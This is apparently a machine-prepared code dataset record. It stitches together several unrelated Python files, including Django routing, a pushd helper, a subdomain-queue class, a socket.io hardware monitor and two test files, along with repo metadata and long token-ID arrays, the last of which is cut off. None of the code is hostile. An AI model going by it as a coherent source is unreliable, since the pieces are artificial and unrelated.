[ 1, 515, 9557, 29889, 5527, 29889, 26045, 1053, 3160, 13, 3166, 9557, 29889, 21570, 1053, 4113, 13, 3166, 9557, 29889, 26045, 1053, 2224, 13, 13, 2271, 11037, 29879, 353, 518, 13, 1678, 2224, 877, 6406, 29914, 742, 4113, 29889, 2746, 29889, 26045, 511, 13, 1678, 2224, 877, 7804, 3571, 1997, 29893, 271, 29914, 742, 3160, 877, 7804, 3571, 1997, 29893, 271, 29889, 26045, 1495, 511, 13, 1678, 2224, 877, 742, 3160, 877, 20488, 29889, 26045, 1495, 511, 13, 29962, 13, 2 ]
utils/file_utils.py
MasterOdin/Python-Utils
0
1606416
""" Collection of util functions that help dealing with files and directories """ from contextlib import contextmanager import os @contextmanager def pushd(directory): """ Enter a given directory for some context, then once leaving the context, go back to the original directory you were in. Operates the same as using bash to do pushd <director>, then run some commands, then running popd. >>> import os >>> a = os.getcwd() >>> with pushd(".."): ... a.startswith(os.getcwd()) and a != os.getcwd() ... True >>> a == os.getcwd() True """ previous_dir = os.getcwd() os.chdir(directory) yield os.chdir(previous_dir) if __name__ == "__main__": import doctest doctest.testmod()
[ 1, 9995, 13, 7196, 310, 3667, 3168, 393, 1371, 16743, 411, 2066, 322, 17525, 13, 15945, 29908, 13, 13, 3166, 3030, 1982, 1053, 3030, 12847, 13, 5215, 2897, 13, 13, 13, 29992, 4703, 12847, 13, 1753, 5503, 29881, 29898, 12322, 1125, 13, 1678, 9995, 13, 1678, 9041, 263, 2183, 3884, 363, 777, 3030, 29892, 769, 2748, 10124, 278, 3030, 29892, 13, 1678, 748, 1250, 304, 278, 2441, 3884, 366, 892, 297, 29889, 6607, 1078, 278, 1021, 408, 773, 13, 1678, 10891, 304, 437, 5503, 29881, 529, 11851, 272, 10202, 769, 1065, 777, 8260, 29892, 769, 2734, 1835, 29881, 29889, 13, 13, 1678, 8653, 1053, 2897, 13, 1678, 8653, 263, 353, 2897, 29889, 657, 29883, 9970, 580, 13, 1678, 8653, 411, 5503, 29881, 703, 636, 29908, 1125, 13, 1678, 2023, 268, 263, 29889, 27382, 2541, 29898, 359, 29889, 657, 29883, 9970, 3101, 322, 263, 2804, 2897, 29889, 657, 29883, 9970, 580, 13, 1678, 2023, 13, 1678, 5852, 13, 1678, 8653, 263, 1275, 2897, 29889, 657, 29883, 9970, 580, 13, 1678, 5852, 13, 1678, 9995, 13, 1678, 3517, 29918, 3972, 353, 2897, 29889, 657, 29883, 9970, 580, 13, 1678, 2897, 29889, 305, 3972, 29898, 12322, 29897, 13, 1678, 7709, 13, 1678, 2897, 29889, 305, 3972, 29898, 24957, 29918, 3972, 29897, 13, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 1053, 437, 312, 342, 13, 1678, 437, 312, 342, 29889, 1688, 1545, 580, 13, 2 ]
simplydomain/src/module_recursion.py
SimplySecurity/SimplyDomain-Old
17
18194
import multiprocessing as mp class ModuleRecursion(object): """Class to handle recursion. Simple class to handle tracking and storing prior sub-domains discovred. """ def __init__(self): """class init. """ self.recursion_queue = mp.Queue() def add_subdomain(self, domain): """add subdomain to Q. uses a non-blocking call to add to the Q to prevent any errors with size. Arguments: domain {str} -- subdomain to add to Q """ self.recursion_queue.put(domain) def get_subdomain_list(self, valid_only=True): """build subdomain list. Using the JSON from the event consumer, we can easily build a unique list of subdomains for module use. Keyword Arguments: valid_only {bool} -- filter only valid subdomains (default: {True}) Returns: list -- list of raw subdomains """ data = [] refill = [] while True: try: x = self.recursion_queue.get_nowait() if valid_only and x.valid: data.append(x.subdomain) if not valid_only: data.append(x.subdomain) except Exception as e: print(e) break return set(data)
[ 1, 1053, 6674, 307, 985, 292, 408, 22326, 13, 13, 13, 1990, 15591, 4789, 1295, 291, 29898, 3318, 1125, 13, 12, 15945, 29908, 2385, 304, 4386, 20437, 29889, 13, 12, 13, 12, 15427, 770, 304, 4386, 23110, 322, 15446, 7536, 29871, 13, 12, 1491, 29899, 3129, 2708, 2313, 586, 1127, 29889, 13, 12, 15945, 29908, 29871, 13, 13, 12, 1753, 4770, 2344, 12035, 1311, 1125, 13, 12, 12, 15945, 29908, 1990, 2069, 29889, 13, 12, 12, 15945, 29908, 29871, 13, 12, 12, 1311, 29889, 3757, 1295, 291, 29918, 9990, 353, 22326, 29889, 10620, 580, 13, 13, 12, 1753, 788, 29918, 1491, 7247, 29898, 1311, 29892, 5354, 1125, 13, 12, 12, 15945, 29908, 1202, 1014, 7247, 304, 660, 29889, 13, 12, 12, 13, 12, 12, 6394, 263, 1661, 29899, 1271, 292, 1246, 304, 788, 304, 278, 660, 13, 12, 12, 517, 5557, 738, 4436, 411, 2159, 29889, 29871, 13, 12, 12, 13, 12, 12, 26915, 29901, 13, 12, 12, 12, 7247, 426, 710, 29913, 1192, 1014, 7247, 304, 788, 304, 660, 13, 12, 12, 15945, 29908, 259, 13, 12, 12, 1311, 29889, 3757, 1295, 291, 29918, 9990, 29889, 649, 29898, 7247, 29897, 13, 13, 12, 1753, 679, 29918, 1491, 7247, 29918, 1761, 29898, 1311, 29892, 2854, 29918, 6194, 29922, 5574, 1125, 13, 12, 12, 15945, 29908, 4282, 1014, 7247, 1051, 29889, 13, 12, 12, 13, 12, 12, 15156, 278, 4663, 515, 278, 1741, 21691, 29892, 591, 13, 12, 12, 3068, 5948, 2048, 263, 5412, 1051, 310, 29871, 13, 12, 12, 1491, 3129, 2708, 363, 29871, 3883, 671, 29889, 13, 12, 12, 13, 12, 12, 2558, 1742, 11842, 9331, 29901, 13, 12, 12, 12, 3084, 29918, 6194, 426, 11227, 29913, 1192, 4175, 871, 2854, 1014, 3129, 2708, 313, 4381, 29901, 426, 5574, 1800, 13, 12, 12, 13, 12, 12, 11609, 29879, 29901, 13, 12, 12, 12, 1761, 1192, 1051, 310, 10650, 1014, 3129, 2708, 13, 12, 12, 15945, 29908, 13, 12, 12, 1272, 353, 5159, 13, 12, 12, 999, 453, 353, 5159, 13, 12, 12, 8000, 5852, 29901, 29871, 13, 12, 12, 12, 2202, 29901, 13, 12, 12, 12, 12, 29916, 353, 1583, 29889, 3757, 1295, 291, 29918, 9990, 29889, 657, 29918, 3707, 1249, 580, 13, 12, 12, 12, 12, 361, 2854, 29918, 6194, 322, 921, 29889, 3084, 29901, 13, 12, 12, 12, 12, 12, 1272, 29889, 4397, 29898, 29916, 29889, 1491, 7247, 29897, 13, 12, 12, 12, 12, 361, 451, 2854, 29918, 6194, 29901, 13, 12, 12, 12, 12, 12, 1272, 29889, 4397, 29898, 29916, 29889, 1491, 7247, 29897, 13, 12, 12, 12, 19499, 8960, 408, 321, 29901, 13, 12, 12, 12, 12, 2158, 29898, 29872, 29897, 13, 12, 12, 12, 12, 8690, 13, 12, 12, 2457, 731, 29898, 1272, 29897, 2 ]
seatsio/events/objectProperties.py
nathanielwarner/seatsio-python
2
32674
class ObjectProperties: def __init__(self, object_id, extra_data=None, ticket_type=None, quantity=None): if extra_data: self.extraData = extra_data self.objectId = object_id if ticket_type: self.ticketType = ticket_type if quantity: self.quantity = quantity
[ 1, 770, 4669, 11857, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1203, 29918, 333, 29892, 4805, 29918, 1272, 29922, 8516, 29892, 23381, 29918, 1853, 29922, 8516, 29892, 14728, 29922, 8516, 1125, 13, 4706, 565, 4805, 29918, 1272, 29901, 13, 9651, 1583, 29889, 17833, 1469, 353, 4805, 29918, 1272, 13, 4706, 1583, 29889, 3318, 1204, 353, 1203, 29918, 333, 13, 4706, 565, 23381, 29918, 1853, 29901, 13, 9651, 1583, 29889, 29873, 8522, 1542, 353, 23381, 29918, 1853, 13, 4706, 565, 14728, 29901, 13, 9651, 1583, 29889, 22640, 353, 14728, 13, 2 ]
backend/app/app/api/api_v1/websocket/monitor.py
QQting/vue-element-admin-fastapi
0
138555
<gh_stars>0 from typing import Any, Optional from fastapi import APIRouter, Depends from sqlalchemy.orm import Session from app import models, schemas from app.api import deps from app.extensions.utils import list_to_tree from random import randint import rmt_py_wrapper import json import numpy as np import socketio import threading lock = threading.Lock() background_task_started = False client_connecting = 0 class ServerNamespace(socketio.AsyncNamespace): async def on_connect(self, sid, environ): print(f"{sid} is connected !") global background_task_started, client_connecting lock.acquire() client_connecting = client_connecting + 1 lock.release() if not background_task_started: self.server.start_background_task(self.background_task) background_task_started = True # self.emit('my_response', {'data': 'Connected', 'count': 0}, room=sid) async def on_disconnect(self, sid): print(f"{sid} is disconnected !") global background_task_started,client_connecting lock.acquire() client_connecting = client_connecting - 1 lock.release() if client_connecting == 0: background_task_started = False async def on_disconnect_request(self, sid): await self.on_disconnect(sid) async def on_client_message(self, sid, data): print(data) async def on_my_event(self, sid, data): await self.emit('my_response', data) async def on_my_room_event(self, sid, message): await self.emit('my_response', {'data': message['data']}, room=message['room']) async def on_my_broadcast_event(self, sid, message): await self.emit('my_response', {'data': message['data']}) async def on_join(self, sid, message): await self.enter_room(sid, message['room']) await self.emit('my_response', {'data': 'Entered room: ' + message['room']}, room=sid) async def on_leave(self, sid, message): await self.leave_room(sid, message['room']) await self.emit('my_response', {'data': 'Left room: ' + message['room']}, room=sid) async def on_close(self, sid, message): await self.emit('my_response', {'data': 'Room ' + message['room'] + ' is closing.'}, room=message['room']) await self.close_room(message['room']) async def background_task(self): global background_task_started while background_task_started: sys_info = await self.hardware_info() await self.emit('monitor_robot', sys_info) await self.server.sleep(3) async def hardware_info(self): rmt_py_wrapper.rmt_server_init() # Get device list: num_ptr = rmt_py_wrapper.new_intptr() dev_list = rmt_py_wrapper.device_info_list.frompointer(rmt_py_wrapper.rmt_server_create_device_list(num_ptr)) dev_num = rmt_py_wrapper.intptr_value(num_ptr) rmt_py_wrapper.delete_intptr(num_ptr) # release num_ptr # Create config key string config_list = ["cpu", "ram", "hostname", "wifi"] config_key_str = "" for item in config_list: config_key_str += item + ';' # Get device info list id_list = rmt_py_wrapper.ulong_array(dev_num) for i in range(0, dev_num): id_list[i] = dev_list[i].deviceID info_num_ptr = rmt_py_wrapper.new_intptr() info_list = rmt_py_wrapper.data_info_list.frompointer(rmt_py_wrapper.rmt_server_get_info(id_list, dev_num, config_key_str, info_num_ptr)) info_num = rmt_py_wrapper.intptr_value(info_num_ptr) rmt_py_wrapper.delete_intptr(info_num_ptr) # release info_num_ptr # Put data in JSON format data = {"total": info_num, "items": []} items = [] for i in range(0, info_num): # Split the result string into dictionary data result_list = info_list[i].value_list.split(";") dict_data = { "index": (i+1), "deviceID": info_list[i].deviceID } for item in result_list: for key in config_list: if key in item: value = item[len(key)+1:] if value.isnumeric(): dict_data[key] = int(value) else: dict_data[key] = value items.append(dict_data) data["items"] = items result = json.dumps(data, indent=4) print(result) return data
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 3166, 19229, 1053, 3139, 29892, 28379, 13, 13, 3166, 5172, 2754, 1053, 3450, 23971, 29892, 10034, 1975, 13, 3166, 4576, 284, 305, 6764, 29889, 555, 1053, 16441, 13, 3166, 623, 1053, 4733, 29892, 1364, 8609, 13, 3166, 623, 29889, 2754, 1053, 316, 567, 13, 3166, 623, 29889, 24299, 29889, 13239, 1053, 1051, 29918, 517, 29918, 8336, 13, 3166, 4036, 1053, 20088, 524, 13, 5215, 364, 4378, 29918, 2272, 29918, 17699, 13, 5215, 4390, 13, 5215, 12655, 408, 7442, 13, 5215, 9909, 601, 13, 5215, 3244, 292, 13, 13, 908, 353, 3244, 292, 29889, 16542, 580, 13, 13, 7042, 29918, 7662, 29918, 2962, 287, 353, 7700, 13, 4645, 29918, 6915, 292, 353, 29871, 29900, 13, 13, 1990, 5656, 23335, 29898, 11514, 601, 29889, 8123, 23335, 1125, 13, 13, 1678, 7465, 822, 373, 29918, 6915, 29898, 1311, 29892, 25349, 29892, 12471, 1125, 13, 4706, 1596, 29898, 29888, 29908, 29912, 29879, 333, 29913, 338, 6631, 1738, 1159, 13, 4706, 5534, 3239, 29918, 7662, 29918, 2962, 287, 29892, 3132, 29918, 6915, 292, 13, 4706, 7714, 29889, 562, 1548, 580, 13, 4706, 3132, 29918, 6915, 292, 353, 3132, 29918, 6915, 292, 718, 29871, 29896, 13, 4706, 7714, 29889, 14096, 580, 13, 4706, 565, 451, 3239, 29918, 7662, 29918, 2962, 287, 29901, 13, 9651, 1583, 29889, 2974, 29889, 2962, 29918, 7042, 29918, 7662, 29898, 1311, 29889, 7042, 29918, 7662, 29897, 13, 9651, 3239, 29918, 7662, 29918, 2962, 287, 353, 5852, 13, 4706, 396, 1583, 29889, 21976, 877, 1357, 29918, 5327, 742, 11117, 1272, 2396, 525, 20971, 2954, 742, 525, 2798, 2396, 29871, 29900, 1118, 5716, 29922, 29879, 333, 29897, 13, 13, 1678, 7465, 822, 373, 29918, 2218, 6915, 29898, 1311, 29892, 25349, 1125, 13, 4706, 1596, 29898, 29888, 29908, 29912, 29879, 333, 29913, 338, 766, 18045, 1738, 1159, 13, 4706, 5534, 3239, 29918, 7662, 29918, 2962, 287, 29892, 4645, 29918, 6915, 292, 13, 4706, 7714, 29889, 562, 1548, 580, 13, 4706, 3132, 29918, 6915, 292, 353, 3132, 29918, 6915, 292, 448, 29871, 29896, 13, 4706, 7714, 29889, 14096, 580, 13, 4706, 565, 3132, 29918, 6915, 292, 1275, 29871, 29900, 29901, 13, 9651, 3239, 29918, 7662, 29918, 2962, 287, 353, 7700, 13, 13, 13, 1678, 7465, 822, 373, 29918, 2218, 6915, 29918, 3827, 29898, 1311, 29892, 25349, 1125, 13, 4706, 7272, 1583, 29889, 265, 29918, 2218, 6915, 29898, 29879, 333, 29897, 13, 13, 1678, 7465, 822, 373, 29918, 4645, 29918, 4906, 29898, 1311, 29892, 25349, 29892, 848, 1125, 13, 4706, 1596, 29898, 1272, 29897, 13, 13, 1678, 7465, 822, 373, 29918, 1357, 29918, 3696, 29898, 1311, 29892, 25349, 29892, 848, 1125, 13, 4706, 7272, 1583, 29889, 21976, 877, 1357, 29918, 5327, 742, 848, 29897, 13, 13, 1678, 7465, 822, 373, 29918, 1357, 29918, 8345, 29918, 3696, 29898, 1311, 29892, 25349, 29892, 2643, 1125, 13, 4706, 7272, 1583, 29889, 21976, 877, 1357, 29918, 5327, 742, 11117, 1272, 2396, 2643, 1839, 1272, 2033, 1118, 5716, 29922, 4906, 1839, 8345, 11287, 13, 13, 1678, 7465, 822, 373, 29918, 1357, 29918, 6729, 328, 4384, 29918, 3696, 29898, 1311, 29892, 25349, 29892, 2643, 1125, 13, 4706, 7272, 1583, 29889, 21976, 877, 1357, 29918, 5327, 742, 11117, 1272, 2396, 2643, 1839, 1272, 2033, 1800, 13, 13, 1678, 7465, 822, 373, 29918, 7122, 29898, 1311, 29892, 25349, 29892, 2643, 1125, 13, 4706, 7272, 1583, 29889, 5893, 29918, 8345, 29898, 29879, 333, 29892, 2643, 1839, 8345, 11287, 13, 4706, 7272, 1583, 29889, 21976, 877, 1357, 29918, 5327, 742, 11117, 1272, 2396, 525, 10399, 287, 5716, 29901, 525, 718, 2643, 1839, 8345, 2033, 1118, 5716, 29922, 29879, 333, 29897, 13, 13, 1678, 7465, 822, 373, 29918, 280, 1351, 29898, 1311, 29892, 25349, 29892, 2643, 1125, 13, 4706, 7272, 1583, 29889, 280, 1351, 29918, 8345, 29898, 29879, 333, 29892, 2643, 1839, 8345, 11287, 13, 4706, 7272, 1583, 29889, 21976, 877, 1357, 29918, 5327, 742, 11117, 1272, 2396, 525, 8091, 5716, 29901, 525, 718, 2643, 1839, 8345, 2033, 1118, 5716, 29922, 29879, 333, 29897, 13, 13, 1678, 7465, 822, 373, 29918, 5358, 29898, 1311, 29892, 25349, 29892, 2643, 1125, 13, 4706, 7272, 1583, 29889, 21976, 877, 1357, 29918, 5327, 742, 11117, 1272, 2396, 525, 9588, 290, 525, 718, 2643, 1839, 8345, 2033, 718, 525, 338, 14382, 6169, 1118, 5716, 29922, 4906, 1839, 8345, 11287, 13, 4706, 7272, 1583, 29889, 5358, 29918, 8345, 29898, 4906, 1839, 8345, 11287, 13, 13, 1678, 7465, 822, 3239, 29918, 7662, 29898, 1311, 1125, 13, 4706, 5534, 3239, 29918, 7662, 29918, 2962, 287, 13, 4706, 1550, 3239, 29918, 7662, 29918, 2962, 287, 29901, 13, 9651, 10876, 29918, 3888, 353, 7272, 1583, 29889, 6800, 2519, 29918, 3888, 580, 13, 9651, 7272, 1583, 29889, 21976, 877, 3712, 2105, 29918, 307, 7451, 742, 10876, 29918, 3888, 29897, 13, 9651, 7272, 1583, 29889, 2974, 29889, 17059, 29898, 29941, 29897, 13, 13, 1678, 7465, 822, 12837, 29918, 3888, 29898, 1311, 1125, 13, 4706, 364, 4378, 29918, 2272, 29918, 17699, 29889, 1758, 29873, 29918, 2974, 29918, 2344, 580, 13, 13, 4706, 396, 3617, 4742, 1051, 29901, 13, 4706, 954, 29918, 7414, 353, 364, 4378, 29918, 2272, 29918, 17699, 29889, 1482, 29918, 524, 7414, 580, 13, 4706, 2906, 29918, 1761, 353, 364, 4378, 29918, 2272, 29918, 17699, 29889, 10141, 29918, 3888, 29918, 1761, 29889, 3166, 17226, 29898, 1758, 29873, 29918, 2272, 29918, 17699, 29889, 1758, 29873, 29918, 2974, 29918, 3258, 29918, 10141, 29918, 1761, 29898, 1949, 29918, 7414, 876, 13, 4706, 2906, 29918, 1949, 353, 364, 4378, 29918, 2272, 29918, 17699, 29889, 524, 7414, 29918, 1767, 29898, 1949, 29918, 7414, 29897, 13, 4706, 364, 4378, 29918, 2272, 29918, 17699, 29889, 8143, 29918, 524, 7414, 29898, 1949, 29918, 7414, 29897, 396, 6507, 954, 29918, 7414, 13, 13, 4706, 396, 6204, 2295, 1820, 1347, 13, 4706, 2295, 29918, 1761, 353, 6796, 21970, 613, 376, 2572, 613, 376, 28988, 613, 376, 29893, 6832, 3108, 13, 4706, 2295, 29918, 1989, 29918, 710, 353, 5124, 13, 4706, 363, 2944, 297, 2295, 29918, 1761, 29901, 13, 9651, 2295, 29918, 1989, 29918, 710, 4619, 2944, 718, 21921, 29915, 13, 13, 4706, 396, 3617, 4742, 5235, 1051, 13, 4706, 1178, 29918, 1761, 353, 364, 4378, 29918, 2272, 29918, 17699, 29889, 352, 549, 29918, 2378, 29898, 3359, 29918, 1949, 29897, 13, 4706, 363, 474, 297, 3464, 29898, 29900, 29892, 2906, 29918, 1949, 1125, 13, 9651, 1178, 29918, 1761, 29961, 29875, 29962, 353, 2906, 29918, 1761, 29961, 29875, 1822, 10141, 1367, 13, 4706, 5235, 29918, 1949, 29918, 7414, 353, 364, 4378, 29918, 2272, 29918, 17699, 29889, 1482, 29918, 524, 7414, 580, 13, 4706, 5235, 29918, 1761, 353, 364, 4378, 29918, 2272, 29918, 17699, 29889, 1272, 29918, 3888, 29918, 1761, 29889, 3166, 17226, 29898, 1758, 29873, 29918, 2272, 29918, 17699, 29889, 1758, 29873, 29918, 2974, 29918, 657, 29918, 3888, 29898, 333, 29918, 1761, 29892, 2906, 29918, 1949, 29892, 2295, 29918, 1989, 29918, 710, 29892, 5235, 29918, 1949, 29918, 7414, 876, 13, 4706, 5235, 29918, 1949, 353, 364, 4378, 29918, 2272, 29918, 17699, 29889, 524, 7414, 29918, 1767, 29898, 3888, 29918, 1949, 29918, 7414, 29897, 13, 4706, 364, 4378, 29918, 2272, 29918, 17699, 29889, 8143, 29918, 524, 7414, 29898, 3888, 29918, 1949, 29918, 7414, 29897, 396, 6507, 5235, 29918, 1949, 29918, 7414, 13, 13, 4706, 396, 12065, 848, 297, 4663, 3402, 13, 4706, 848, 353, 8853, 7827, 1115, 5235, 29918, 1949, 29892, 376, 7076, 1115, 5159, 29913, 13, 4706, 4452, 353, 5159, 13, 4706, 363, 474, 297, 3464, 29898, 29900, 29892, 5235, 29918, 1949, 1125, 13, 9651, 396, 26178, 278, 1121, 1347, 964, 8600, 848, 13, 9651, 1121, 29918, 1761, 353, 5235, 29918, 1761, 29961, 29875, 1822, 1767, 29918, 1761, 29889, 5451, 703, 29936, 1159, 13, 9651, 9657, 29918, 1272, 353, 426, 13, 18884, 376, 2248, 1115, 313, 29875, 29974, 29896, 511, 13, 18884, 376, 10141, 1367, 1115, 5235, 29918, 1761, 29961, 29875, 1822, 10141, 1367, 13, 9651, 500, 13, 9651, 363, 2944, 297, 1121, 29918, 1761, 29901, 13, 18884, 363, 1820, 297, 2295, 29918, 1761, 29901, 13, 462, 1678, 565, 1820, 297, 2944, 29901, 13, 462, 4706, 995, 353, 2944, 29961, 2435, 29898, 1989, 7240, 29896, 17531, 13, 462, 4706, 565, 995, 29889, 275, 21574, 7295, 13, 462, 9651, 9657, 29918, 1272, 29961, 1989, 29962, 353, 938, 29898, 1767, 29897, 13, 462, 4706, 1683, 29901, 13, 462, 9651, 9657, 29918, 1272, 29961, 1989, 29962, 353, 995, 13, 9651, 4452, 29889, 4397, 29898, 8977, 29918, 1272, 29897, 462, 29871, 13, 13, 4706, 848, 3366, 7076, 3108, 353, 4452, 13, 4706, 1121, 353, 4390, 29889, 29881, 17204, 29898, 1272, 29892, 29536, 29922, 29946, 29897, 13, 4706, 1596, 29898, 2914, 29897, 13, 13, 4706, 736, 848, 13, 2 ]
tests/api/tc/v2/batch/test_attributes_1.py
GShepherdTC/tcex
0
106240
"""Test the TcEx Batch Module.""" # third-party import pytest class TestAttributes: """Test the TcEx Batch Module.""" @pytest.mark.parametrize( 'name,description,attr_type,attr_value,displayed,source', [ ( 'pytest-adversary-i1-001', 'Attribute Testing', 'Description', 'Pytest', True, 'pytest-testing', ) ], ) def test_attributes( # pylint: disable=unused-argument self, name, description, attr_type, attr_value, displayed, source, tcex ): """Test batch attributes creation""" batch = tcex.v2.batch(owner='TCI') xid = batch.generate_xid(['pytest', 'adversary', name]) ti = batch.adversary(name=name, xid=xid) # security label testing - option 1 ti.attribute( attr_type=attr_type, attr_value=attr_value, displayed=displayed, source=source, formatter=self.attribute_formatter, ) # security label testing - option 2 attr = ti.attribute(attr_type=attr_type, attr_value=None) attr.displayed = displayed attr.source = source tcex.log.debug(f'attribute data: {attr}') # coverage: __str__ method assert attr.displayed == displayed assert attr.source == source assert attr.type == attr_type assert attr.value is None # submit batch batch.save(ti) batch_status = batch.submit_all() batch.close() assert batch_status[0].get('status') == 'Completed' assert batch_status[0].get('successCount') == 1 @staticmethod def attribute_formatter(attr_value): """Return formatted tag.""" return attr_value.lower()
[ 1, 9995, 3057, 278, 323, 29883, 1252, 350, 905, 15591, 1213, 15945, 13, 29937, 4654, 29899, 22633, 13, 5215, 11451, 1688, 13, 13, 13, 1990, 4321, 15801, 29901, 13, 1678, 9995, 3057, 278, 323, 29883, 1252, 350, 905, 15591, 1213, 15945, 13, 13, 1678, 732, 2272, 1688, 29889, 3502, 29889, 3207, 300, 374, 911, 29898, 13, 4706, 525, 978, 29892, 8216, 29892, 5552, 29918, 1853, 29892, 5552, 29918, 1767, 29892, 4990, 287, 29892, 4993, 742, 13, 4706, 518, 13, 9651, 313, 13, 18884, 525, 2272, 1688, 29899, 328, 27547, 29899, 29875, 29896, 29899, 29900, 29900, 29896, 742, 13, 18884, 525, 6708, 4321, 292, 742, 13, 18884, 525, 9868, 742, 13, 18884, 525, 19737, 1688, 742, 13, 18884, 5852, 29892, 13, 18884, 525, 2272, 1688, 29899, 13424, 742, 13, 9651, 1723, 13, 4706, 21251, 13, 1678, 1723, 13, 1678, 822, 1243, 29918, 15697, 29898, 29871, 396, 282, 2904, 524, 29901, 11262, 29922, 348, 3880, 29899, 23516, 13, 4706, 1583, 29892, 1024, 29892, 6139, 29892, 12421, 29918, 1853, 29892, 12421, 29918, 1767, 29892, 8833, 29892, 2752, 29892, 260, 346, 29916, 13, 268, 1125, 13, 4706, 9995, 3057, 9853, 8393, 11265, 15945, 29908, 13, 4706, 9853, 353, 260, 346, 29916, 29889, 29894, 29906, 29889, 16175, 29898, 20348, 2433, 29911, 8426, 1495, 13, 4706, 921, 333, 353, 9853, 29889, 17158, 29918, 29916, 333, 18959, 2272, 1688, 742, 525, 328, 27547, 742, 1024, 2314, 13, 4706, 19538, 353, 9853, 29889, 328, 27547, 29898, 978, 29922, 978, 29892, 921, 333, 29922, 29916, 333, 29897, 13, 13, 4706, 396, 6993, 3858, 6724, 448, 2984, 29871, 29896, 13, 4706, 19538, 29889, 12715, 29898, 13, 9651, 12421, 29918, 1853, 29922, 5552, 29918, 1853, 29892, 13, 9651, 12421, 29918, 1767, 29922, 5552, 29918, 1767, 29892, 13, 9651, 8833, 29922, 4990, 287, 29892, 13, 9651, 2752, 29922, 4993, 29892, 13, 9651, 883, 2620, 29922, 1311, 29889, 12715, 29918, 689, 2620, 29892, 13, 4706, 1723, 13, 13, 4706, 396, 6993, 3858, 6724, 448, 2984, 29871, 29906, 13, 4706, 12421, 353, 19538, 29889, 12715, 29898, 5552, 29918, 1853, 29922, 5552, 29918, 1853, 29892, 12421, 29918, 1767, 29922, 8516, 29897, 13, 4706, 12421, 29889, 4990, 287, 353, 8833, 13, 4706, 12421, 29889, 4993, 353, 2752, 13, 13, 4706, 260, 346, 29916, 29889, 1188, 29889, 8382, 29898, 29888, 29915, 12715, 848, 29901, 426, 5552, 29913, 1495, 29871, 396, 23746, 29901, 4770, 710, 1649, 1158, 13, 4706, 4974, 12421, 29889, 4990, 287, 1275, 8833, 13, 4706, 4974, 12421, 29889, 4993, 1275, 2752, 13, 4706, 4974, 12421, 29889, 1853, 1275, 12421, 29918, 1853, 13, 4706, 4974, 12421, 29889, 1767, 338, 6213, 13, 13, 4706, 396, 9752, 9853, 13, 4706, 9853, 29889, 7620, 29898, 2034, 29897, 13, 4706, 9853, 29918, 4882, 353, 9853, 29889, 7892, 29918, 497, 580, 13, 4706, 9853, 29889, 5358, 580, 13, 4706, 4974, 9853, 29918, 4882, 29961, 29900, 1822, 657, 877, 4882, 1495, 1275, 525, 26010, 29915, 13, 4706, 4974, 9853, 29918, 4882, 29961, 29900, 1822, 657, 877, 8698, 3981, 1495, 1275, 29871, 29896, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 5352, 29918, 689, 2620, 29898, 5552, 29918, 1767, 1125, 13, 4706, 9995, 11609, 20917, 4055, 1213, 15945, 13, 4706, 736, 12421, 29918, 1767, 29889, 13609, 580, 13, 2 ]
dashboard/dashboard/pinpoint/models/quest/run_gtest_test.py
ncalexan/catapult
0
194535
<filename>dashboard/dashboard/pinpoint/models/quest/run_gtest_test.py # Copyright 2018 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import unittest from dashboard.pinpoint.models.quest import run_gtest from dashboard.pinpoint.models.quest import run_performance_test from dashboard.pinpoint.models.quest import run_test_test _BASE_ARGUMENTS = { 'swarming_server': 'server', 'dimensions': run_test_test.DIMENSIONS, } _BASE_EXTRA_ARGS = [ '--gtest_repeat=1' ] + run_gtest._DEFAULT_EXTRA_ARGS + run_performance_test._DEFAULT_EXTRA_ARGS class FromDictTest(unittest.TestCase): def testMinimumArguments(self): quest = run_gtest.RunGTest.FromDict(_BASE_ARGUMENTS) expected = run_gtest.RunGTest( 'server', run_test_test.DIMENSIONS, _BASE_EXTRA_ARGS) self.assertEqual(quest, expected) def testAllArguments(self): arguments = dict(_BASE_ARGUMENTS) arguments['test'] = 'test_name' quest = run_gtest.RunGTest.FromDict(arguments) extra_args = ['--gtest_filter=test_name'] + _BASE_EXTRA_ARGS expected = run_gtest.RunGTest( 'server', run_test_test.DIMENSIONS, extra_args) self.assertEqual(quest, expected)
[ 1, 529, 9507, 29958, 14592, 3377, 29914, 14592, 3377, 29914, 12687, 3149, 29914, 9794, 29914, 1119, 29914, 3389, 29918, 29887, 1688, 29918, 1688, 29889, 2272, 13, 29937, 14187, 1266, 29871, 29906, 29900, 29896, 29947, 450, 678, 456, 1974, 13189, 943, 29889, 2178, 10462, 21676, 29889, 13, 29937, 4803, 310, 445, 2752, 775, 338, 4095, 287, 491, 263, 350, 7230, 29899, 3293, 19405, 393, 508, 367, 13, 29937, 1476, 297, 278, 365, 2965, 1430, 1660, 934, 29889, 13, 13, 5215, 443, 27958, 13, 13, 3166, 12569, 3377, 29889, 12687, 3149, 29889, 9794, 29889, 1119, 1053, 1065, 29918, 29887, 1688, 13, 3166, 12569, 3377, 29889, 12687, 3149, 29889, 9794, 29889, 1119, 1053, 1065, 29918, 546, 13390, 29918, 1688, 13, 3166, 12569, 3377, 29889, 12687, 3149, 29889, 9794, 29889, 1119, 1053, 1065, 29918, 1688, 29918, 1688, 13, 13, 13, 29918, 25416, 29918, 1718, 29954, 5005, 3919, 29903, 353, 426, 13, 1678, 525, 2774, 2817, 292, 29918, 2974, 2396, 525, 2974, 742, 13, 1678, 525, 6229, 5580, 2396, 1065, 29918, 1688, 29918, 1688, 29889, 4571, 29924, 1430, 13381, 29903, 29892, 13, 29913, 13, 13, 13, 29918, 25416, 29918, 12194, 4717, 29918, 1718, 10749, 353, 518, 13, 1678, 525, 489, 29887, 1688, 29918, 14358, 29922, 29896, 29915, 13, 29962, 718, 1065, 29918, 29887, 1688, 3032, 23397, 29918, 12194, 4717, 29918, 1718, 10749, 718, 1065, 29918, 546, 13390, 29918, 1688, 3032, 23397, 29918, 12194, 4717, 29918, 1718, 10749, 13, 13, 13, 1990, 3645, 21533, 3057, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 13, 29871, 822, 1243, 8140, 12539, 26915, 29898, 1311, 1125, 13, 1678, 21126, 353, 1065, 29918, 29887, 1688, 29889, 6558, 29954, 3057, 29889, 4591, 21533, 7373, 25416, 29918, 1718, 29954, 5005, 3919, 29903, 29897, 13, 1678, 3806, 353, 1065, 29918, 29887, 1688, 29889, 6558, 29954, 